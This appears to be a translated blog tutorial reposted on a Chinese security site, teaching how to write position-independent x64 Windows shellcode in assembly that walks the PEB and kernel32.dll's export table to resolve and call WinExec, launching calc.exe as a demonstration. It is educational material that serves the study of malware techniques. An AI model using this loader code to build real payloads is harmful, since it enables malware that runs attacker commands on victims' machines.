[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数


[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数

你将学到什么:

  • WinAPI函数手册位置及汇编代码

  • PEB 结构和 PEB_LDR_DATA

  • PE文件结构

  • 相对虚拟地址计算

  • 导出地址表 (EAT)

  • Windows x64 调用约定实践

  • 像真正的 Giga-Chad 一样用汇编语言写作……

shellcode 有什么限制?

Shellcode 必须与位置无关。它不能假设任何固定地址。因此,shellcode 无法访问我们通常用一行代码在 C 中执行的函数。Shellcode 必须在任何地方都能正常工作,没有任何依赖关系!

上述陈述使我们得出一个显而易见的结论:在 shellcode 中我们不能简单地使用GetProcAddress()和获取任何 WinAPI 函数的地址……因为我们不知道GetProcAddress()函数本身的地址。

WinExec()在这篇文章中,我们将研究手动查找函数地址kernel32.dll并执行calc.exe程序(Windows 内置计算器)以确认一切正常。

概述:如何手动查找 WinAPI 函数?

所有基本的 WinAPI 函数都可以在这个kernel32.dll文件中找到。这个模块会自动加载到 Windows 中每个新创建的进程内存中。但是,模块在内存中的基地址kernel32.dll可能是随机的。

Windows 上的每个进程还在其内存中包含一个PEB(进程环境块)结构。该结构的地址是已知的,一切都从它开始。该结构包含有关进程的大量信息,包括有关所有已加载模块(包括kernel32.dll)的数据。我们可以在其中找到kernel32.dll模块的基内存地址等信息。

然后,通过读取 PE 文件的结构(kernel32.dll),我们得到导出地址表,其中包含文件导出的所有函数的名称和地址。

这样我们就找到了 WinAPI 函数的地址(WinExec。然后我们就可以根据 x64 调用约定和 Microsoft 的文档来执行它。

简而言之,这就是整个过程:跳过内存结构和指针来寻找我们的函数。让我们看看它的具体内容…

获取PEB结构地址

第一步是找到 PEB 结构的地址。PEB (进程环境块)包含有关当前进程的大量信息。PEB 的关键属性包括:

  • 已加载模块(LDR字段:我们想要这个!)

  • 环境变量

  • 命令行参数

  • 有关该过程的其他信息

PEB 结构存储在进程的用户空间中。这意味着,无需任何系统调用即可手动读取它。对于 x64 架构,PEB 地址存储在gs寄存器 + 0x60 偏移量中。fsgs段寄存器没有硬件定义的特定用途,因此在这种情况下,Windows 内部使用它们来保存重要地址。

mov rbx, gs:[0x60]  ; Get address of PEB struct

获取PEB_LDR_DATA的地址

PEB_LDR_DATA(PEB 加载器数据)包含有关进程已加载模块的信息。我们需要访问此结构来获取地址kernel32.dll

typedef struct _PEB {  BYTE              Reserved1[2];  // 2 bytes  BYTE              BeingDebugged; // 1 byte  BYTE              Reserved2[1];  // 1 byte  PVOID             Reserved3[2];  // 16 bytes  PPEB_LDR_DATA     Ldr;           // <-- We want this  // ...}

从 PEB 结构的开头到该LDR字段有 20 个字节。然而,事实并非如此!这一切都是因为一种称为数据结构对齐的编译现象。在 64 位 Windows 上,内存结构的对齐通常为 16 个字节。在这种情况下这并不重要。但重要的是 64 位指针与 8 字节边界对齐。这意味着,内存中指针的地址不能不同于的乘积0x8。让我们数一下PVOID Reserved3字段前的字节数:4 个字节!Reserved4指针必须与 4 个字节对齐才能将其地址四舍五入为0x8字节。阅读有关数据结构对齐的更多信息。

最终的 PEB 结构如下所示(包含填充):

struct _PEB {  BYTE              Reserved1[2];  // 2 bytes  BYTE              BeingDebugged; // 1 byte  BYTE              Reserved2[1];  // 1 byte  BYTE              Padding[4];    // 4 bytes  PVOID             Reserved3[2];  // 16 bytes  PPEB_LDR_DATA     Ldr;           // <-- We want this  // ...};

现在我们可以清楚地看到,我们需要 24 个字节(0x18)来获取 LDR 字段。我们通过取消引用(方括号)来提取该字段的值:

mov rbx, [rbx+0x18]  ; Get PEB_LDR_DATA address

获取已加载模块的地址

现在我们有了 PEB_LDR_DATA 结构,我们需要该字段的地址InMemoryOrderModuleList

struct _PEB_LDR_DATA {  BYTE       Reserved1[8];              // 8 bytes  PVOID      Reserved2[3];              // 24 bytes  LIST_ENTRY InMemoryOrderModuleList;};
获取InMemoryOrderModuleList的地址(32 = 0x20字节):
add rbx, 0x20   ; Get address of InMemoryOrderModuleList

LIST_ENTRY实际上是双链表。第一个字段(我们刚刚提取的字段)是指向下一个列表条目的指针。通过取消引用地址,我们可以获取列表中的各个项目。沿着双链表向下走:

mov rbx, [rbx]  ; 1st entry in InMemoryOrderModuleList (ntdll.dll)mov rbx, [rbx]  ; 2st entry in InMemoryOrderModuleList (kernelbase.dll)mov rbx, [rbx]  ; 3st entry in InMemoryOrderModuleList (kernel32.dll)

第三个条目是kernel32.dll。我不确定这是否有保证,但几个世纪以来人们一直都是这样做的。我有什么资格质疑这一点……

struct _LDR_DATA_TABLE_ENTRY {    ..    LIST_ENTRY  InMemoryOrderLinks; // 16 bytes    PVOID       Reserved2[2];       // 16 bytes    PVOID       DllBase;                ...};

当我们沿着双向链表向下移动时(LIST_ENTRY),我们已经处于结构开头的偏移量。现在我们必须获取指针DllBase。DllBase是内存中 DLL 的地址!。偏移量为 32 字节(0x20):

mov r8, [rbx+0x20]   ; Get the kernel32.dll address

现在我们有了kernel32.dll基地址。

获取ExportTable(kernel32.dll)的地址

我们需要进入ExportTable模块kernel32.dll来获取有关其导出的 WinAPI 函数的信息。

PE文件结构(简化):

  1. IMAGE_DOS_HEADER(我们需要获取e_lfanew RVA)

  2. DOS Stub(跳过此部分)

  3. PE 头(kernel32.dll基地址 + e_lfanew RVA)

  • ExportTable(PE Headers addr 的偏移量 = 0x70

这是我们需要走的路:

[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数

让我们看一下IMAGE_DOS_HEADER。它是任何 PE 文件的第一个结构:

typedef struct _IMAGE_DOS_HEADER { // DOS Header    WORD   e_magic;                // Magic number                      (2)    WORD   e_cblp;                 // Bytes on last page of file        (2)    WORD   e_cp;                   // Pages in file                     (2)    WORD   e_crlc;                 // Relocations                       (2)    WORD   e_cparhdr;              // Size of header in paragraphs      (2)    WORD   e_minalloc;             // Minimum extra paragraphs needed   (2)    WORD   e_maxalloc;             // Maximum extra paragraphs needed   (2)    WORD   e_ss;                   // Initial (relative) SS value       (2)    WORD   e_sp;                   // Initial SP value                  (2)    WORD   e_csum;                 // Checksum                          (2)    WORD   e_ip;                   // Initial IP value                  (2)    WORD   e_cs;                   // Initial (relative) CS value       (2)    WORD   e_lfarlc;               // File address of relocation table  (2)    WORD   e_ovno;                 // Overlay number                    (2)    WORD   e_res[4];               // Reserved words                    (8)    WORD   e_oemid;                // OEM identifier (for e_oeminfo)    (2)    WORD   e_oeminfo;              // OEM information; e_oemid specific (2)    WORD   e_res2[10];             // Reserved words                    (20)    LONG   e_lfanew;               // File address of new exe header    (4) } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

我们需要获取字段的值。它包含 PE Headers(或新 EXE Headers e_lfanew )的 RVA 。

相对虚拟地址:PE 文件结构中的许多地址都以相对虚拟地址(RVA)的形式书写。这意味着它们相对于内存中文件的开头(基地址)。要计算(绝对)虚拟地址,我们需要将 RVA 地址添加到基地址kernel32.dll。

mov ebx, [r8+0x3c]  ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)add rbx, r8         ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders

现在rbx存储 PE Headers 的地址。在0x88 PE Headers 的偏移处ExportTable RVA放置了。它是一个常量值。使用 ExportTable RVA 和kernel32.dll基址,我们就可以访问了ExportTable

xor rcx, rcxadd cx, 0x88        ; RCX = 0x88 (offset of ExportTable RVA)add rbx, [rbx+rcx]  ; RBX = &PeHeaders + offset of ExportTable RVA = ExportTable RVAadd rbx, r8         ; RBX = ExportTable RVA + &kernel32.dll = &ExportTablemov r9, rbx         ; R9  = &ExportTable

从EAT获取WinAPI函数地址

现在我们有了 EAT 结构的地址。此结构包含有关导出函数的所有信息。我们想使用此结构找到 WinAPI 函数的地址WinExec()

typedef struct _IMAGE_EXPORT_DIRECTORY {    DWORD Characteristics;    DWORD TimeDateStamp;    WORD  MajorVersion;    WORD  MinorVersion;    DWORD Name;    DWORD Base;    DWORD NumberOfFunctions;    DWORD NumberOfNames;    DWORD AddressOfFunctions;     // RVA    DWORD AddressOfNames;         // RVA    DWORD AddressOfNameOrdinals;  // RVA} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

在开始搜索之前,我们需要保存包含我们要查找的 WinAPI 函数名称的字符串。我们无法按照传统方式在节read-only data或类似的地方执行此操作,因为我们只有节.text。我们必须将所有内容放在堆栈上!

堆栈向下增长,地址向上读取,所以我们必须将字符串倒置(WinExec-> cexEniW)。所有字母都转换为十六进制值。在开始时,我们推送空终止符。

xor rax, raxpush rax                    ; STACK + null terminator (8)mov rax, 0x00636578456E6957 ; RAX = function name =  + "cexEniW" (WinExec)push rax                    ; STACK + function name address (8)mov rbx, rsp                ; RSI = &function_name
call get_winapi_func

现在我们已经有一个指向函数名称字符串的指针。

警告:现在会变得有点复杂。我不会描述每一行汇编代码。我将介绍一般概念,并在最后粘贴代码片段。

总的来说,一切都归结为遍历指向函数名称的整个指针数组 ( AddressOfNames) 并将它们与指向我们想要的函数名称的指针进行比较。可能最有趣的部分是repe cmpsb命令。它用于比较两个字符串(指针保存在RDIRSI寄存器中)。

一旦我们找到正确的函数名,我们的计数器(RAX寄存器)就会保存其索引。使用这个索引,我们可以引用数组中的一项AddressOfNameOrdinals。使用从这个数组中提取的序数,我们最终引用数组中的项AddressOfFunctions。在这里我们获得函数的 RVA WinExec,计算 VA 并返回寄存器中的地址RAX。就是这样!我们得到了我们正在寻找的函数的地址。

get_winapi_func:    ; Requirements (preserved):    ;   R8  = &kernel32.dll    ;   R10 = &AddressOfFunctions (ExportTable)    ;   R11 = &AddressOfNames (ExportTable)    ;   R12 = &AddressOfNameOrdinals (ExportTable)    ; Parameters (preserved):    ;   RBX = (char*) function_name    ;   RCX = (int)   length of function_name string    ; Returns:    ;   RAX = &function;    ; IMPORTANT: This function doesn't handle "not found" case! ;            Infinite loop and access violation is possible.
xor rax, rax ; RAX = counter = 0 push rcx ; STACK + RCX (8) = preserve length of function_name string
; Loop through AddressOfNames array: ; array item = function name RVA (4 bytes) loop: xor rdi, rdi ; RDI = 0 mov rcx, [rsp] ; RCX = length of function_name string mov rsi, rbx ; RSI = (char*) function_name
mov edi, [r11+rax*4] ; RDI = function name RVA add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll repe cmpsb ; Compare byte *RDI (array item str) and *RSI (param function name)
je resolve_func_addr ; Jump if exported function name == param function name
inc rax ; RAX = counter + 1 jmp short loop
resolve_func_addr: pop rcx ; STACK - RCX (8) = remove length of function_name string mov ax, [r12+rax*2] ; RAX = OrdinalNumber = &AddressOfNameOrdinals + (counter * 2) mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (OrdinalNumber * 4) add rax, r8 ; RAX = &function = function RVA + &kernel32.dll ret

执行 WinExec 函数

WinExec函数的定义如下所示。我们有一个指向该函数的指针。很酷,不是吗?

UINT WinExec(  LPCSTR lpCmdLine,    // => "calc.exe",0x0  UINT   uCmdShow      // => 0x1 = SW_SHOWNORMAL);

现在我们只需要执行此功能并牢记一件非常重要的事情:Windows x64 调用约定(文档)。

使用 WinAPI 的三个重要要求:

  • 参数寄存器(从左到右):RCX(lpCmdLine)RDX(uCmdShow),,,R8然后R9堆栈…

  • 16 字节堆栈对齐:and rsp, -16

  • 影子空间——堆栈上分配的 32 字节长的空白空间,供 WinAPI 内部使用:sub rsp, 32

牢记上述规则,我们开始准备参数。同样,将要执行的程序的名称字符串 ( calc.exe) 推送到堆栈上,并将其地址传递到第一个参数中。我们将第二个参数设置为SW_SHOWNORMAL值 ( 0x1),这仅表示显示默认进程窗口。

xor rcx, rcxxor rdx, rdx
push rcx ; STACK + null terminator (8)mov rcx, 0x6578652e636c6163 ; RCX = "exe.clac" (command string: calc.exe)push rcx ; STACK + command string (8)
mov rcx, rsp ; RCX = LPCSTR lpCmdLinemov rdx, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
and rsp, -16 ; 16-byte Stack Alignmentsub rsp, 32 ; STACK + 32 bytes (shadow space)
call r13 ; WinExec("calc.exe", SW_SHOWNORMAL)

成后,我们可以开始编译了!

编译和执行

这里就不多说了。我用 Python 写了一个简单的脚本(shellcoder.py),将 NASM 代码编译成可执行的 EXE 格式。这样一来,我们就可以非常轻松地调试我们的“shellcode”,只需单击一下即可更正并再次编译。

编译成功后,我们就可以运行了!

[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数

好的。

结论

学习从 Assembly 中对 WinAPI 函数的低级访问具有极大的发展意义。它可以让您更好地了解恶意软件,而 shellcode 现在通常是恶意软件的主要组成部分之一。不幸的是,出于某种原因,如今很少有人参与编写 shellcode。但那些自己编写 shellcode 的人都是 Giga-Chads。

~Print3M



感谢您抽出

[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数

.

[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数

.

[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数

来阅读本文

[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数

版权声明:admin 发表于 2024年7月29日 下午12:12。
转载请注明:[Shellcode x64] 使用 Assembly 查找并执行 WinAPI 函数 | CTF导航

相关文章